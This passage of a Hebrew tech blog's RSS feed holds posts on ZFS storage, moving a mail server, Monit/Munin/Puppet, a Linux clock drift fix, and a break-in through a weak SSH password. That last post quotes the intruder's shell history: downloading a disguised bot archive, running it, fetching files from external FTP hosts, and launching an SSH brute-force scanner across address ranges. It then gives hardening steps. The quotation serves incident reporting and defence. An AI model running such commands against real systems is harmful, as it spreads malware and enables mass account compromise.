ZFS תומכת בהכל, עם שתי פקודות אינטואיטיביות &#8211; zpool וzfs. היא תומכת גם בNFS (שיתוף קבצים פשוט ברשת).<br />
אני לא אכנס לעובי הקורה בפוסט הזה, אולי בפוסט אחר, אבל מספיק שאומר שמערכת הקבצים הזו לבדה היא סיבה מספיק טובה לעבור מלינוקס לאופן-סולאריס (למרבה הצער, הרשיון בה משוחררת ZFS לא תואם את GPL, ולכן אין ZFS בלינוקס &#8211; ולא, אני לא מחשיב פתרון ZFS מבוסס FUSE כפתרון אמיתי).</p>
<p>המחשב שבסלון משמש אותי כמרכז מדיה, אני רואה בו סרטים שומר בו קבצי וידאו ומוסיקה, תוך שאני <a href="http://firefang.net/blog/1058">משתמש בבוקסי</a>.<br />
אבל מה, אין בוקסי בסולאריס. ולא בא לי לבזבז שבועיים במקרה הטוב כדי לגרום לבוקסי להתקמפל ולרוץ בסולאריס.</p>
<p>אז איך נהנים משני העולמות?<br />
תוכנות לינוקס, איכסון באופן סולאריס?<br />
האופציה המתבקשת היא לארגן מכונה נוספת שתריץ אופן סולאריס, ותשמש כמכונת אחסון בלבד.<br />
הגישה תתבצע דרך NFS או דרך <a href="http://www.opensolaris.org/os/project/smbfs/">CIFS</a> למחשבי חלונות (אני עדיין משחק על חלונות!).<br />
וזה מתקשר לאגדה המקדימה על המכונה זוללת הביטים, שהיום זוללת בעיקר אבק.<br />
התוכנית היא לקנות לה עוד קצת זכרון (ג&#8217;יגה אחד התקלקל וארבע ג&#8217;יגה היום עולה כל כך זול שזה פשע לקנות שני ג&#8217;יגה), לקחת איזה הרדיסק או שניים או שלוש מהמחשב בסלון, לקנות עוד איזה הרדיסק או שניים, ולקנפג שם אופן סולאריס עם ZFS בתצורת <a href="http://blogs.sun.com/bonwick/entry/raid_z">RAIDZ</a> (תצורה יותר טובה מתצורת RAID5  שנותנת עמידות נתונים זהה אבל גם עם דיסקים זולים ובביצועים יותר טובים ברוב המקרים).<br />
ככה המכונה תזכה לעדנה מחודשת, ולי יצא להנות מהתכונות של ZFS. אולי אני אפילו אשים את ספריית הבית שלי על המכונה הזו. עם חיבור ג&#8217;יגה ביט, זה כנראה יהיה יותר מהיר מעבודה מקומית על דיסק בודד כי אני אקבל את הביצועים של עבודה על כמה דיסקים במקביל.</p>
<p>בקיצור, אני מתחיל להזמין חומרה.<br />
אני מניח שיהיו פוסטי המשך.. בהמשך.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1409/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>שרת דואר חדש</title>
		<link>http://firefang.net/blog/1229</link>
		<comments>http://firefang.net/blog/1229#comments</comments>
		<pubDate>Mon, 16 Feb 2009 11:48:49 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[אינטרנט]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[פיירפנג.רשת]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1229</guid>
		<description><![CDATA[הזזתי במהלך הסופ&#8221;ש את שרת הדואר שלי מהמכונה בהסלון לשרת שמריץ את הבלוג.
רציתי לעשות את זה מזמן, אבל התעצלתי &#8211; זה איזה  יום עבודה, ולוקח זמן להכל להתייצב.
עשיתי את זה אחרי שמשתמש חדש הצטרף לשרת, וביקש שרותי דואר.
השתמשתי בהוראות מפה שמאפשרות הגדרה של שרת דואר שתומך בריבוי דומיינים וכמובן בריבוי משתמשים.
היום תיבת הדואר שלי לבד [...]]]></description>
			<content:encoded><![CDATA[<p>הזזתי במהלך הסופ&#8221;ש את שרת הדואר שלי מהמכונה בהסלון לשרת שמריץ את הבלוג.<br />
רציתי לעשות את זה מזמן, אבל התעצלתי &#8211; זה איזה  יום עבודה, ולוקח זמן להכל להתייצב.<br />
עשיתי את זה אחרי שמשתמש חדש הצטרף לשרת, וביקש שרותי דואר.<br />
השתמשתי בהוראות <a href="http://workaround.org/articles/ispmail-etch/">מפה</a> שמאפשרות הגדרה של שרת דואר שתומך בריבוי דומיינים וכמובן בריבוי משתמשים.<br />
היום תיבת הדואר שלי לבד היא בנפח של כארבעה ג&#8217;יגה, ארבעה ג&#8217;יגה שהעברתי לשרת החדש כמובן.<br />
היתרון של שרת דואר בסלון היא זמינות ומהירות כשאתם עובדים מהבית, מצד שני &#8211; הוא פחות זמין ומהיר כשאתם עובדים מכל מקום אחר.<br />
יתרון כללי של הפעלת שרת דואר משלכם היא שהדואר שלכם הוא שלכם ושלכם בלבד. אף רובוט לא סורק אותו, ואף אחד לא יגיד לכם שהגעתם לקצה המיכסה ועכשיו אתם צריכים לשלם או למחוק הודעות ישנות.</p>
<p>אם לשפוט על פי התאריך של ההודעה הישנה ביותר בשרת הדואר שלי &#8211; את שרת הדואר שרץ בסלון הגדרתי בספטמבר 2005, מאז שדרגתי את המחשב שלו שלוש פעמים, אבל שרת הדואר נשאר וצבר דואר לרוב.<br />
גם בפעם האחרונה השתמשתי באותו בהוראות מworkaround, אבל מאז הטוטוריאל השתנה כמובן, לא שזה מאוד משנה כי אחרי שלוש וחצי שנים לא ממש זכרתי איך זה הולך.<br />
אחד הדברים שלא הוזכרו שם הוא שההודעות נשמרות בתיבת הדואר כקבצים &#8211; והשם שלהם מכיל את שם המכונה המקומית.<br />
מכיוון שהשם של השרת השתנה, הייתי צריך לשנות את השמות של עשרות אלפי הקבצים מקבצים עם שמות כמו:</p>
<div class="codesnip-container" >1234429393.V832I86d1dfM880219.home.firefang.net:2,RS</div>
<p>לקבצים עם שמות כמו:</p>
<div class="codesnip-container" >1234429393.V832I86d1dfM880219.flux.firefang.net:2,RS</div>
<p>הדרך לעשות את זה בקלות היא בעזרת קומבינציה של find וmmv.<br />
השמשתי בfind כדי למציא את כל הספריות ולהפעיל על כל ספריה פקודת mmv שתסדר את שמות הקבצים:</p>
<div class="codesnip-container" >find -type d -exec  mmv &#8220;{}/*home.firefang.net*&#8221; &#8220;{}/#1flux.firefang.net#2&#8243; \;</div>
<p>את שרת הדואר בסלון הגדרתי כשרת דואר משני בDNS, ככה שבמקרה חרום לפחות הדואר שלי יגיע לאן שהוא.<br />
כל העניין לקח די הרבה זמן, אבל אני שמח שעשיתי את זה.<br />
שרת דואר יציב הוא עמוד השדרה של החברה המודרנית <img src='http://firefang.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>אז מעכשיו הוספתי רשמית שרת דואר לרשימת השרותים שמקבל מי שיתארח אצלי בשרת, בנוסף ל:</p>
<ul>
<li> גישת SHELL</li>
<li>מספר בלתי מוגבל של דומיינים וירטואליים באפאצ&#8217;י</li>
<li>מספר בלתי מוגבל של בסיסי נתונים בMySQL 5.</li>
<li>נפח אכסון די עצבני (יש דיסק של חצי טרה שם, וכרגע כולל גיבויים מקומיים רק 41GB בשימוש, אז משתמשים יכולים להתפרע במסגרת הטעם הטוב).</li>
<li>גיבויים שוטפים, מקומיים ומרוחקים.</li>
<li>דואר לדומיינים, כולל מספר בלתי מוגבל של תיבות דואר.</li>
</ul>
<p>מי שמעוניין יכול לפנות במייל (omry a@t yadan.net).</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1229/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>כלים לתחזוקת שרתים שוטפת</title>
		<link>http://firefang.net/blog/1113</link>
		<comments>http://firefang.net/blog/1113#comments</comments>
		<pubDate>Sun, 18 Jan 2009 21:08:07 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[ניהול רשת]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1113</guid>
		<description><![CDATA[כשמפעילים שרת, בשלב מסויים תמיד עולים כל מני צרכים. הכלים הבאים זמינים בשרתי לינוקס ויכולים לעזור בניהול וניתור שרתים.


Monit :
מונית, קיצור של Monitor It היא אפליקציה מסוג Watchdog שמסוגלת לנתר את השרת שלכם ולזהות בעיות, להתריע או אפילו לתקן אותן אוטומטית.
למשל, מונית יכולה

לוודא שהמקום הפנוי בהרדיסק לא יורד מתחת לרמה מסויימת
לוודא ששרת הApache לא תופס [...]]]></description>
			<content:encoded><![CDATA[<p>כשמפעילים שרת, בשלב מסויים תמיד עולים כל מני צרכים. הכלים הבאים זמינים בשרתי לינוקס ויכולים לעזור בניהול וניתור שרתים.</p>
<p><a href="http://mmonit.com/monit/"><br />
</a></p>
<p><a href="http://mmonit.com/monit/">Monit</a> :<br />
מונית, קיצור של Monitor It היא אפליקציה מסוג Watchdog שמסוגלת לנתר את השרת שלכם ולזהות בעיות, להתריע או אפילו לתקן אותן אוטומטית.</p>
<p>למשל, מונית יכולה</p>
<ul>
<li>לוודא שהמקום הפנוי בהרדיסק לא יורד מתחת לרמה מסויימת</li>
<li>לוודא ששרת הApache לא תופס יותר מדי משאבים,ולהפעיל אותו מחדש אם הוא כן</li>
<li>לוודא שמכונה מסויימת עונה לפינגים, לחיבורי TCP או לחיבורי HTTP</li>
<li>לוודא שתהליך מסויים רץ, ולהפעיל אותו אם הוא לא (תחשבו על שרת SSH שקרס)</li>
</ul>
<p>ועוד.<br />
מונית גמישה מאוד, וקובץ ההגדרות מגיע עם סט דוגמאות שקל להשמיש לשרת שלכם.<br />
מונית מגיעה עם שרת HTTP מובנה שמאפשר עיון במצב המערכת (צריך להפעיל אותו בקובץ ההגדרות), אבל הוא לא ממש נחוץ כי אפשר לקבל אימיילים על כל שינוי במצב המערכת.</p>
<p><a href="http://munin.projects.linpro.no/">Munin</a>:<br />
&#8220;הוגין ומונין הם העורבים של אודין האל הנורדי, הם עפו בשבילו במידגארד, רואים וזוכרים &#8211; ואז סיפרו לו מה הם ראו&#8221;.<br />
מונין זה זכרון.</p>
<p>מונין אוסף מידע על המערכת שלכם, ויוצר גראפים רבים ומשונים:</p>
<ul>
<li>עומס על הCPU</li>
<li>צריכת זכרון</li>
<li>שגיאות בממשק הרשת</li>
<li>תעבורת רשת</li>
<li>אימיילים שתקועים בתור היוצא בשרת הדואר</li>
</ul>
<p>ועוד ועוד.<br />
מה שנחמד במונין זה שהוא מבוסס פלאגינים, והפלאגינים עולים אוטומטית לפי השרותים שהמערכת מריצה, אז אם יש לכם כמה מכונות שבאחד יש שרת NFS, בשני שרת MySQL ובשלישי שרת Apache, מונין על כל אחת מהמכונות יאסוף את הנתונים המתאימים אוטומטית.<br />
מונין מבוסס שרת לקוח, יש שרת אחד שאוסף מידע מתחנות קצה. ההגדרה די קלה. צריך להגדיר את תחנות הקצה להסכים לחיבור מהשרת, ולספר לשרת מי תחנות הקצה שלו. כמובן שהשרת יכול להריץ תחנת קצה בעצמו (ואפשר לשער שברוב ההתקנות הוא יאסוף מידע רק מעצמו).<br />
מונין מעדכן את הגראפים כל חמש דקות (ברירת המחדל) והגראפים זמינים דרך Apache.</p>
<p>אפשר לראות את <a href="http://munin.ping.uio.no/">מונין בפעולה כאן</a>.</p>
<p><a href="http://reductivelabs.com/trac/puppet">Puppet</a><br />
Puppet, להלן פאפט, הוא כלי לניהול מרכזי של כמה שרתים.<br />
פאפט מאפשר להגדיר את השרתים ממקום אחד, ולדאוג שהם ישארו מעודכנים, יתקינו חבילות מסויימות, יעתיקו קבצים מסויימים, ובעצם כמעט כל דבר שתרצו.<br />
השימוש בפאפט הוא יחסית מורכב, והוא הופך למשתלם אם יש לכם כמה שרתים עם תצורה זהה או דומה, שמשתנים בצורה די תכופה (כאשר התצורה שלהם צריכה להשאר מסונכרנת).<br />
עקומת הלמידה של פאפט די תלולה, ולא קל להתחיל להשתמש בו, אבל מצד שני &#8211; יש לפאפט ערוץ IRC מאוד מועיל בfreenode.<br />
כמו רוב הכלים שהזכרתי, פאפט מבוסס גם הוא על מתודולגית שרת-לקוח. השרת &#8211; puppetmaster אחראי על העברת הגדרות התצורה ללקוחות. על כל מחשב רץ לקוח שאחראי לישם את ההגדרות שמגיעות מהשרת.<br />
כאמור, פאפט מאוד גמיש. ההגדרות שלו נקבעות בקבצים בשפה הצהרתית מיוחדת. ככה נראה קובץ פאפט שכתבתי שמפעיל פיירוואל מבוסס iPKungFu (תסריט להגדרה נוחה של iptables) על מכונה מסויימת:</p>
<div class="codesnip-container" >
<div class="codesnip">class firewalled <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; package<span class="br0">&#123;</span><span class="br0">&#91;</span><span class="st0">&#8220;ipkungfu&#8221;</span>,<span class="st0">&#8220;ulogd&#8221;</span><span class="br0">&#93;</span> :&nbsp; ensure =&gt; latest<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; set_file<span class="br0">&#123;</span><span class="br0">&#91;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8220;/etc/default/ipkungfu&#8221;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8220;/etc/ipkungfu/ipkungfu.conf&#8221;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8220;/etc/ipkungfu/services.conf&#8221;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8220;/etc/ipkungfu/accept_hosts.conf&#8221;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8220;/etc/ipkungfu/log.conf&#8221;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#93;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; require =&gt; Package<span class="br0">&#91;</span>ipkungfu<span class="br0">&#93;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw3">exec</span> <span class="br0">&#123;</span> <span class="st0">&#8220;/etc/init.d/ipkungfu restart&#8221;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; subscribe =&gt; <span class="br0">&#91;</span>File<span class="br0">&#91;</span><span class="st0">&#8220;/etc/ipkungfu/ipkungfu.conf&#8221;</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; File<span class="br0">&#91;</span><span class="st0">&#8220;/etc/ipkungfu/accept_hosts.conf&#8221;</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; File<span class="br0">&#91;</span><span class="st0">&#8220;/etc/ipkungfu/log.conf&#8221;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; refreshonly =&gt; true,<br />
&nbsp; &nbsp; &nbsp; &nbsp; require =&gt; <span class="br0">&#91;</span>Package<span class="br0">&#91;</span>ipkungfu<span class="br0">&#93;</span>,Set_file<span class="br0">&#91;</span><span class="st0">&#8220;/etc/default/ipkungfu&#8221;</span><span class="br0">&#93;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
</div>
<p>הפקודה set_file היא פקודת מקרו שכתבתי שמעתיקה קובץ מהמאגר של פאפט אל המכונה. אפשר להעתיק בשימוש בפקודת פאפט רגילה &#8211; אבל המקרו שלי קצת יותר קצר לשימוש.<br />
במקרה הזה, set_files מעתיקה קבצי קונפיגורציה שהגדרתי מבעוד מועד ושמתי על הpuppet-master.<br />
הקובץ גם מוודא שיהיו הגרסאות האחרונות של pkungfu ו ulogd.<br />
פאפט תומך בכל מני מערכות, ובכל מערכת הוא ישתמש במנהל החבילות הנכון.<br />
פקודת הexec מפעילה מחדש את ipkungfu ברגע שאחד מהקבצים בקטע הsubscribe משתנה.<br />
היופי הוא שברגע שזה מוגדר, כדי להוסיף firewall למכונה כל מה שאני צריך לעשות זה לכלול את הסקריפט הזה בהגדרה של המכונה. (ברמת include, לא להעתיק אותו).</p>
<p>קשה להתחיל להשתמש בפאפט, אבל יש מספיק חבר&#8217;ה עם רצון טוב בערוץ הIRC שלהם, ובנוסף יש לא מעט מדרכים ברשת. בכל אופן, למי שצריך לנהל יותר משתי מכונות זה כבר מתחיל להיות שווה את המאמץ.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1113/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>בעיית שעון בשרתי לינוקס</title>
		<link>http://firefang.net/blog/1124</link>
		<comments>http://firefang.net/blog/1124#comments</comments>
		<pubDate>Wed, 03 Dec 2008 13:20:26 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[clock source]]></category>
		<category><![CDATA[ntp]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1124</guid>
		<description><![CDATA[לאחרונה נתקלתי בבעיה עיקשת וקשה לפיתרון:
השעון של אחד השרתים שאני אחראי אליהם החליט שדיוק זה לא הקטע שלו, ונדד משהו כמו ארבע שעות בכל יום.
סינכרון NTP יומי גרם לקפיצת זמן של 4-5 שעות בכל פעם, וברור היה שצריך לפתור את הבעיה האמיתית.
החשוד המיידי בבעיות שעון בדרך כלל הוא הBIOS או הסוללה של הCMOS, והפתרון הכי [...]]]></description>
			<content:encoded><![CDATA[<p>לאחרונה נתקלתי בבעיה עיקשת וקשה לפיתרון:<br />
השעון של אחד השרתים שאני אחראי אליהם החליט שדיוק זה לא הקטע שלו, ונדד משהו כמו ארבע שעות בכל יום.<br />
סינכרון NTP יומי גרם לקפיצת זמן של 4-5 שעות בכל פעם, וברור היה שצריך לפתור את הבעיה האמיתית.<br />
החשוד המיידי בבעיות שעון בדרך כלל הוא הBIOS או הסוללה של הCMOS, והפתרון הכי זריז אם זו אכן הבעיה היא להעביר את הדיסק של השרת למכונה אחרת.<br />
חברת ההוסטינג עשתה את זה, והתברר שזה לא פתר את הבעיה.<br />
כדי לעשות דברים יותר מעניינים, אני אוסיף ואגיד שיש בחווה ארבעה שרתים, חלקם עם חומרה כמעט זהה לזו של השרת המאחר והם לא סבלו מהבעיה.<br />
בנוסף, כל השרתים הריצו דביאן Etch עם קרנל 2.6.18 סטנדרטי של דביאן (שהיא הגרסא הרשמית של דביאן Etch), בהבדל אחד: המכונה המאחרת הריצה קרנל של 64 ביט.<br />
לא משהו שאמור לגרום לכזו בעיה, אבל בכל זאת הבדל.<br />
השוואה של קבצי הקונפיגורציה של הקרנלים (בדיביאן קרנלים סטנדרטיים מגיעים עם קובץ הקונפיגורציה שאיתו קומפל הקרנל והוא יושב בספריית /boot) הראתה הבדל מעניין בין הקרנל המאחר לבין אלו שלא:<br />
הקרנל המאחר לא קומפל עם GENERIC_TIME, והאחרים כן.<br />
עדיין לא מוכיח כלום, אבל מעניין.<br />
מסתבר שבלינוקס יש כמה מקורות לעדכון השעון הפנימי, חלקם מדוייקים יותר, חלקם מדוייקים הרבה פחות.<br />
המקורות של הקרנל שרץ כרגע זמינים בקובץ</p>
<div class="codesnip-container" >/sys/devices/system/clocksource/clocksource0/available_clocksource</div>
<p>במכונה המאחרת היה זמין רק מקור אחד עם שם מוזר: jiffies<br />
שהוא גם המקור הכי לא מדוייק שיש (למעשה הקרנל מעדכן איזה משתנה פנימי בקצב שאמור להיות תואם את המציאות, מה שלא ממש עובד)</p>
<p>במכונות האחרות היו זמינים כמה מקורות: acpi_pm jiffies tsc pit</p>
<p>ברגע שעידכנתי את הקרנלים בכל המכונות לגרסא 2.6.26, הבעיה נפתרה ולכל השרתים היו את אותם מקורות שעון.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1124/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>סיסמאות קלות מדי</title>
		<link>http://firefang.net/blog/1102</link>
		<comments>http://firefang.net/blog/1102#comments</comments>
		<pubDate>Tue, 18 Nov 2008 14:35:32 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[מחשבים]]></category>
		<category><![CDATA[ניהול רשת]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1102</guid>
		<description><![CDATA[לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.
נכנסתי לשרת, חצי נבוך וחצי לא מאמין &#8211; וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, [...]]]></description>
			<content:encoded><![CDATA[<p>לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.<br />
ככה בדיוק התחיל היום שלי אתמול.</p>
<p>נכנסתי לשרת, חצי נבוך וחצי לא מאמין &#8211; וראיתי שאחד המשתמשים מחובר.<br />
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.<br />
הנה חלק ממה שעשה התכשיט:</p>
<div class="codesnip-container" >wget **.***.com/botflod.jpg<br />
tar zxvf botflod.jpg<br />
cd &#8230;<br />
ls -a<br />
rm -rf *.seen<br />
ls -a<br />
vi mech.set<br />
vi 1<br />
./httpd<br />
ps x<br />
kill -9 21036<br />
w<br />
cat vuln.txt<br />
cat /proc/cpuinfo<br />
cd ..<br />
ls -a<br />
ftp -v alexhk.ueuo.com<br />
ftp -v alexhk.ro<br />
tar zxvf ssh.tgz<br />
cd ssh<br />
./a 199.3<br />
./a 82.211<br />
./a 222.126<br />
./a 89.171<br />
./a 71.249<br />
./a 218.80<br />
./a 218.106<br />
./a 194.116</div>
<p>שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)</p>
<div class="codesnip-container" >killall -u username</div>
<p>מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.<br />
אז איך הוא נכנס?</p>
<p>פשוט מאוד &#8211; סיסמא קלה.<br />
שם המשתמש שייך למשתמש  חדש שבחרתי לו  סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.<br />
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.</p>
<p>מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.<br />
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.<br />
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.</p>
<p>אז מה עושים כדי להימנע מזה בעתיד?<br />
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).<br />
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.<br />
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.<br />
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.<br />
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:</p>
<div class="codesnip-container" >$gpw<br />
outskyst<br />
omaticts<br />
liestogg<br />
erlishit<br />
duckslyt<br />
ityingli<br />
fackersa<br />
sappityr<br />
rachecke<br />
lithhoss</div>
<p>אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.</p>
<p>צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.<br />
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:</p>
<div class="codesnip-container" >apt-get install libpam-cracklib</div>
<p>ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:</p>
<div class="codesnip-container" >#password   required   pam_unix.so nullok obscure min=4 max=8 md5</p>
<p>password required     pam_cracklib.so retry=3 minlen=6 difok=3<br />
password required     pam_unix.so use_authtok nullok md5</p></div>
<p>אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS</p>
<p>בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.<br />
תוכנה כזו היא <a href="http://www.openwall.com/john/">john</a> המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.<br />
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.<br />
בהתקנת ברירת המחדל בדביאן ג&#8217;והן המרטש מתקין ג&#8217;וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)</p>
<div class="codesnip-container" >#00 1    * * *   root    [ -x /usr/share/john/cronjob ] &#038;&#038; nice /usr/share/john/cronjob start<br />
#00 7    * * *   root    [ -x /usr/share/john/cronjob ] &#038;&#038; /usr/share/john/cronjob stop</div>
<p>כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.<br />
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).<br />
אחרי ההתקנה עם apt-get עקבו אחרי <a href="http://wiki.debian.org/Tripwire">ההוראות הפשוטות פה</a> כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.<br />
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.</p>
<p>אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1102/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
